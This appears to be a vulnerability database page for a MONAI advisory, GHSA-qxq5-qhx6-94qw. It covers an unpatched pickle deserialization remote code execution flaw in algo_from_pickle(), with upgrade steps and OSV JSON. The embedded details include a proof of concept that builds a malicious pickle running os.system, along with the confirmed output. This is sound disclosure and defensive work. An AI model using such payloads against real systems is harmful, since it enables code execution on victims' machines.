GHSA-qxq5-qhx6-94qw: Incomplete Fix in MONAI Remote Code Execution Vulnerability
HIGHGHSA-qxq5-qhx6-94qw is a HIGH (CVSS 7.8) remote code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Incomplete Fix in MONAI libraries in the PyPI ecosystem. The issue involves algo_from_pickle() pickle.loads() rce still present in v1.5.2 despite ghsa-89gg-p5r5-q6r4 claiming patch. Remediation is available by upgrading affected packages to version 1.6.0.
GHSA-qxq5-qhx6-94qw at a Glance
Security Impact
CVSS: 7.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix GHSA-qxq5-qhx6-94qw
To remediate this vulnerability, upgrade all affected Incomplete Fix in MONAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install monai>=1.6.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show monai
How to Check if You Are Affected
To determine whether your Python environment is affected by GHSA-qxq5-qhx6-94qw, inspect your installed packages using pip:
pip show monai
Analyze the terminal output to locate any version of Incomplete Fix in MONAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.0), your application is affected.
Note: The pip show monai command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Incomplete Fix in MONAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-qxq5-qhx6-94qw Affected Incomplete Fix in MONAI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
monai
|
PyPI |
< 1.6.0
|
1.6.0
|
References
Frequently Asked Questions
What is GHSA-qxq5-qhx6-94qw?
Which Incomplete Fix in MONAI versions are affected?
What version fixes GHSA-qxq5-qhx6-94qw?
Is monai affected?
What is the CVSS score of GHSA-qxq5-qhx6-94qw?
What CWE is associated with GHSA-qxq5-qhx6-94qw?
How can I check PyPI dependencies for GHSA-qxq5-qhx6-94qw?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qxq5-qhx6-94qw",
"modified" : "2026-08-18T20:22:30Z",
"published" : "2026-08-18T20:22:30Z",
"aliases" : [ ],
"summary" : "Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch",
"details" : "## Summary\n\n GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in\n `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py`\n has not been modified since 2024-07-12 — 18 months before v1.5.2 was released\n (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was\n never implemented.\n\n ## Vulnerable Code\n\n File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2)\n\n ```python\n def algo_from_pickle(pkl_filename: str, ...):\n with open(pkl_filename, \"rb\") as f_pi:\n data_bytes = f_pi.read()\n data = pickle.loads(data_bytes) # SINK 1 — line 321, RCE fires here\n\n # isinstance/key checks happen AFTER deserialization — already too late\n\n algo_bytes = data.pop(\"algo_bytes\")\n ...\n if len(template_paths_candidates) == 0:\n algo = pickle.loads(algo_bytes) # SINK 2 — line 350\n else:\n for p in template_paths_candidates:\n algo = pickle.loads(algo_bytes) # SINK 3 — line 356\n\n No Unpickler subclass, no find_class restriction, no allowlist.\n\n Why the Fix is Incomplete\n\n - monai/auto3dseg/utils.py last commit: 2024-07-12 (\"drop python 3.8\")\n - v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes\n - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356\n - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch\n\n PoC\n\n import pickle, os\n\n class Exploit:\n def __reduce__(self):\n return (os.system, ('id > /tmp/rce_proof.txt',))\n\n # Craft malicious pkl\n data = {\"algo_bytes\": pickle.dumps(Exploit()), \"template_path\": None}\n with open(\"/tmp/evil.pkl\", \"wb\") as f:\n f.write(pickle.dumps(data))\n\n # Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim\n with open(\"/tmp/evil.pkl\", \"rb\") as f:\n data = pickle.loads(f.read()) # SINK 1 fires — RCE here\n algo = pickle.loads(data[\"algo_bytes\"]) # SINK 2 fires\n\n print(open(\"/tmp/rce_proof.txt\").read())\n # uid=1000(user) gid=1000(user) groups=...\n\n Verified on monai v1.5.2 (utils.py verbatim source):\n [+] RCE CONFIRMED via algo_from_pickle():\n desktop-5657tb1\\woong\n\n Impact\n\n Any application or ML pipeline calling algo_from_pickle() with an\n attacker-supplied file path is vulnerable to full RCE. Medical AI workflows\n frequently exchange model checkpoints, making this a realistic attack vector.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "monai"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.6.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-qxq5-qhx6-94qw"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Project-MONAI/MONAI"
}, {
"type" : "WEB",
"url" : "https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-89gg-p5r5-q6r4"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-502" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-18T20:22:30Z",
"nvd_published_at" : null
}
}